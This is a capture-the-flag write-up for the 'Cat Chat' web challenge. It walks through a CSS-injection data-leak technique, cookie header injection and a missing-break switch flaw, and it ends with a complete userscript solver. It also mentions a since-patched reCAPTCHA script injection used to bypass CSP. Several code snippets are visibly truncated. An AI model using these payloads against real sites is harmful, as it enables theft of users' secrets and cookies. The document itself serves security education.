Cat Chat – write-up by @terjanq


Welcome to Cat Chat! This is your brand new room where you can discuss anything related to cats. You have been assigned a random nickname that you can change any time.


Commands you can use: (just type a message starting with slash to invoke commands)

Btw, the core of the chat engine is open source! You can download the source code here.

Alright, have fun!

In the source code we also can find the commented section containing the commands for administrative purposes.

Admin commands:

So our goal is simple. Find a way to steal the admin’s password!

Page Functionality

After reading the provided sources of the website, I came to the following conclusions:

  default-src 'self'; # Default source is `*` if no rule matched
  style-src 'unsafe-inline' 'self'; # The source is either inline object `<style>...</style>` or `self` 
  script-src 'self'; # `self` or from these two domains
  frame-src 'self' # `self` or from `*`

So no urls in the form of data: ... are allowed and any attempt of downloading a resource from an external domain will be blocked.

CSS Injection

It seems that every parsed element on the website is properly escaped so injecting an additional DOM Element is rather impossible. It is done by the esc(str) function mentioned earlier which replaces each character ', ", <, > with its HTML Entity substitute. But there is one improperly escaped element. The element allowing us to do the CSS Injection! Let’s have a closer look at it.

display(`${esc(} was banned.<style>span[data-name^=${esc(}] { color: red; }</style>`);

We see that escaping this way won’t prevent the called vulnerability. I believe that there are either quotation marks outside of the ${esc(} missed or escaping two additional characters[ and ] which should prevent this type of attack. For the sake of an example let’s change our name to i]{} body{background: red} i[i=. The inserted element (after getting banned for I ❤ dogs! message) should look like: i]{} body{background: red} i[i= was banned.<style>span[data-name^=i]{} body{background: red} i[i=]{color: red; }</style> which is a completely valid CSS Code. Let’s try out our payload on the website!


Firstly, we used the fact that anyone can join the same room, so we used two windows to observe the outcome. Then we changed our name to the payload above to finally call for an admin just to provoke him with the message I ❤ dogs! in a moment he joins. As we can see, every participant’s window in the chat room, except the one getting banned, should likely turn into red.

But how could we use this finding to steal the admin’s secret key? Well, this is the question that we have no direct answer on yet but the idea is to generate a proper set of CSS Selector Rules sending the sensitive data over. I will shortly explain how these selectors work in a simple example. Suppose we have exactly one <input id="secret" value="Top Secret Value"/> element on the page and two selectors #secret[value^=T]{background: url(} and #secret[value^=t]{background: url(}. In natural language it translates to If element of id ‘secret’ starts with the prefix ‘<prefix>’ set its background value to ‘<url(…)>‘. The important thing here is that the content from the provided URL will not be preloaded. It means that it’s only fetched when the element is going to be rendered. Thanks to it, we can get to know each character in the value attribute by consistently expanding out the prefix of already known characters.

Self Injection

But hey, we cannot send any information outside the domains included in the CSP header! So how can we acquire it? And what exactly are we going to steal in the first place?

Let’s find an answer to the second question first. We know that there is a special command /secret <new password> which basically sets a new password with the call of the display(`Successfully changed secret to <span data-secret="${esc(cookie('flag'))}">*****</span>`) function. This has to be it! We can make the selectors to look like span[data-secret^=<prefix>]{background: url(...)}. But we still don’t know how exactly could we obtain an information without sending the information out. This is the tricky part. We will use the fact that any API call is not being authorized, so making the URL url(send?name=flag&msg=<prefix>) shall result with a new message from the flag user on the chat containing the prefix of the fetched secret if and only if such element exists on the page. So let’s try this out!


As expected, we got two messages – one from us, one from an admin.

Header Injection

Okay, it seems that we have all we need to steal the admin’s password. We know that the password will likely start with CTF{ but any attempt with such payloads had failed… Why isn’t it working? This is why: “It’s enough to set it once a year, so no need to issue a /secret command every time you open a chat room.”. Admin already joined with the password set in the cookie so there is no element on the page we need! Maybe if somehow we had forced the admin to send the command /secret on the page we could get what we seek? Could we include it in the background: url(send?name=admin&msg=/secret) as an URL? Sadly no, we can not. It is because the /secret command is a type of private and there is no way we could process back the response from the call. Maybe we could somehow make the /secret command public and broadcast it to all users? Let’s move away from this crazy idea for a while and focus on how exactly changing the password would help us. We don’t want to know the changed secret, we want to know the original one! I’ve tested whether we can change the admin’s password at all by sending a payload with the url /send?msg=/secret 12345 followed by the /ban <me> command to see if I’ll get banned. And Nah, it’s now working. I mean the idea ain’t working because I am legitely not getting banned!

Let’s have a closer look at the /secret <arg[1]> instruction provided inside the server.js script.

if (!(arg = msg.match(/\/secret (.+)/))) break;
        res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000');
        response = {type: 'secret'};

This looks like the Header Injection! Well, although we cannot insert CRLF (Cariage-Return Line-Feed) characters to make the whole response as we wish due to sanizitaion by the Node.js, we can make the cookie invalid! Imagine the following header: Set-cookie: flag=123456; Domain=adsad; Path=/; Max-Age-31536000 created from the command /secret 123456; Domain=adsad. We can read from the documentation that


Specifies those hosts to which the cookie will be sent. If not specified, defaults to the host portion of the current document location (but not including subdomains). Contrary to earlier specifications, leading dots in domain names are ignored. If a domain is specified, subdomains are always included.

And later

A cookie belonging to a domain that does not include the origin server should be rejected by the user agent.

So we can send a valid header with an invalid cookie. This is exactly what we need! The browser will reject the new cookie and the script will handle the /secret commands at the same time so the display() function will be invoked!


Command Injection Failure

Up to this moment, I went through all the steps fairly quickly. I thought then that only minutes divided me from the solution and there were no solves on the task yet as I recall correctly. But my excitation was premature and I got lost in it so badly…

The solution is quite simple and I was almost there if I had only made the correct payload in time.
I looked at the following piece of server.js code

if (!(req.headers.referer || '').replace(/^https?:\/\//, '').startsWith( {
    response = {type: "error", error: 'CSRF protection error'};
  } else if (msg[0] != '/') {
    broadcast(room, {type: 'msg', name, msg});
  } else {
    switch (msg.match(/^\/[^ ]*/)[0]) {
      case '/name':
        if (!(arg = msg.match(/\/name (.+)/))) break;
        response = {type: 'rename', name: arg[1]};
        broadcast(room, {type: 'name', name: arg[1], old: name});
      case '/ban':
        if (!(arg = msg.match(/\/ban (.+)/))) break;
        if (!req.admin) break;
        broadcast(room, {type: 'ban', name: arg[1]});
      case '/secret':
        if (!(arg = msg.match(/\/secret (.+)/))) break;
        res.setHeader('Set-Cookie', 'flag=' + arg[1] + '; Path=/; Max-Age=31536000');
        response = {type: 'secret'};
      case '/report':
        if (!(arg = msg.match(/\/report (.+)/))) break;
        var ip = req.headers['x-forwarded-for'];
        ip = ip ? ip.split(',')[0] : req.connection.remoteAddress;
        response = await[1], ip, `https://${}/room/${room}/`);

and my thoughts were:

So, I tested the payload /name super_name /secret 123456 hoping I shall see two commands from one message executed but it didn’t work… I had yet tested a few similar payloads with slight modifications but after a failure, I assumed that it has to be that switches in JavaScript work the way IFs would work. I know, I know. Cleverest assumption of the day.

If you read up to this place you probably know the complete solution already but before revealing it, I will try to reproduce my thinking process after rejecting that possibility. If you don’t wish to read the part not exactly related to the solution, just jump into The Command Injection Once More :)

I don’t remember the exact order of the things I have tried, but it does not really matter at this point. Here are some interesting findings I had discovered.


There is a misterious piece of code in the server.js source.

case '/report':
        if (!(arg = msg.match(/\/report (.+)/))) break;
        var ip = req.headers['x-forwarded-for'];
        ip = ip ? ip.split(',')[0] : req.connection.remoteAddress;
        response = await[1], ip, `https://${}/room/${room}/`);

It looks at least very very suspicious. The exact line I am thinking of is var ip = req.headers['x-forwarded-for'];. When we type /report in the chat our IP is beeing sent over to the admin, but purpose of it is highly unknow since we lack the knowledge of the const admin = require('./admin'); module. But the idea itself of forging my IP by crafting the HTTP header x-forwarded-for to anything I desire seemed to me like a something definitely worth a try. I tested over for any kind of injection that came to my head starting with the CSRF, ending with the SQL Injection, and with XSS Injection in the middle, but assumed none of these actually worked since I didn’t get any outcome.

Searching for broadcast

After that, I had decided to run my own instance of the server and test things out locally. I had tried really hard to call the broadcast(room, msg) function with the /secret command injected, hoping that there is a part of code on the client side, I hadn’t yet found, allowing me to execute two commands from one message in there. This attempt was of course badly unsuccessful and the payloads I was creating were ridiculous by looking at them from the time perspective. The only good thing that came out from it, was that I successfully created my own instance of the server which helped to test things out more effectively.

Searching for XSS

Even though I assumed there was no possibility of XSS Injection, and if there was any the whole solution would zip into one-line solution and on the other hand, the path I already followed seemed to be the correct one, I was searching for possible XSS point on the website. And surprisingly I have found one! I found a vulnerability in the Google reCAPTCHA functionality. <script src=""></script>. I have made a closer look at this script and tried to inject some XSS in here. I found the line in the api.js looking like dynamically created ... ).push('6LeB410UAAAAAGkmQanWeqOdR6TACZTVypEEXHcu');window ..., so I tried to insert the quote character ' to close the function call in order to insert some more code. As for the surprise, it worked! But when one tries to insert any alphanumeric character after it, the line changes to: push('onload'). So the challenge is to write a payload without using such characters. Well, we all know JSFuck and creating the URL:’);[][(![]+[])…();(‘ produces a valid JavaScript code which when attached pops out the alert(1). This is a serious security gap since this can be easily used to bypass CSP protection on third-party websites. Just for the sake of an example, if we found a place to inject <script> element on the website from this task we could execute any code we want even though CSP was set to prevent such situations.
I had reported this vulnerability and now it’s patched. More about my report can be found here.

It totally buzzed me out so I couldn’t focus on the task anymore. I was searching for a way to exploit it further, but it’s not the actual subject of this write-up so let’s skip it ;)

The Command Injection Once More

After a whole daybreak, I finally realized what mistake I was making and why my switch exploits didn’t work. If you look closer at the switch statements once more, you realize that there is actually a break between /name and /secret commands! It does seem so much invisible because it’s hidden after if statement which looks kind of natural, at least for me. So testing the payload /ban cat_hater /secret 123456; Domain=adsad on my local instance resulted with successfully attached /secret command because between these two there is no break. We can find that an admin sends the /ban command following the definition of function below

if (msg.match(/dog/i)) {
        send(`/ban ${name}`);

So all we have to do is to send some dirty d*ggish message with a name set to cat_hater /secret 123456; Domain=asdasd


The complete Solution

To automate the whole process, I have written a simple cat_talks_solver.user.js script, which could be included inside Tampermonkey extension. I have also provided with the minified version of the script cat_talks_minified.js where the command is very easy to copy-paste into console. I encourage you to reproduce all the steps by yourself, so just choose the option fits you the most and try it out! This is almost the exact function I had used during the competition:

  let pref = 'aa]{}#conversation{overflow-x:hidden}';
  let suf = 'a[x=';
  let flag_style = 'span[data-name=flag], span[data-name=flag] + span{color:red; font-size: 15px}';
  let solve = false;
  window.flag = 'CTF{';
  window.messagebox.placeholder = '!solve type to make machine start';
  let h1 = document.createElement('h1');h1.innerHTML='🔒 The Secret Stealer 🔒';
  document.querySelector('#conversation p').before(h1); = () => {
      window.grecaptcha.execute(recaptcha_id, {action: 'report'}).then((token) => send('/report ' + token));

  window.sendMessage = function(name, msg){

  window.showDogLove = (name) => sendMessage(name, 'I ❤ dogs!');

  window.template = function(middle=''){
      var res = '';
      var alph = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!-?@_{}~';
      for (let c of alph){
          let _flag = (window.flag + c).replace(/{/g, '\\7b').replace(/}/g, '\\7d');
          res += `span[data-secret^=${_flag}]{background:url(send?name=flag&msg=${_flag})}`;
      return pref+middle+res+suf;

  function autoFetch() {
    let last = window.conversation.lastElementChild;
    var interval = setInterval(function() {
      var p;
      while (p = last.nextElementSibling) {
        last = p;

        if (p.tagName != 'P' || p.children.length < 2) continue;
        let name = p.children[0].innerText;
        let msg = p.children[1].innerText;

        if(msg == '!solve'){
            solve = true;
            sendMessage('bot', "I has made the machine start!");  
        if(!solve) break;

        if(/CTF{.+}/.test(window.flag)) {
            setTimeout(sendMessage, 1000, 'flag', window.flag);

        if(name == 'flag'){
            window.flag = msg;
        if(name == 'admin'){
            if(msg == 'Bye');
            if(msg.startsWith("I've been notified")){
                window.showDogLove('/secret 123; Domain=asdasd'); 
    }, 100);



And this is the script in action, very satisfying to watch!


We can see the flag already.
Flag: CTF{L0LC47S_43V3R}

My thoughts

I think I got very unlucky with the task and as I recall correctly I had huge chances to hit the first solve on the problem (had 8-10th on the JS Safe 2.0 already).

After all, the solution consisted of multiple vulnerabilities such as CSS Injection, Header Injection, RegExp Injection, Insecure Switch Statement and Self Injection used to fetch the flag. So, in my opinion, the task has a good educational potential.

Personally, I enjoyed the task very much even though it cost me a significant bunch of hair :))


My GitHub profile: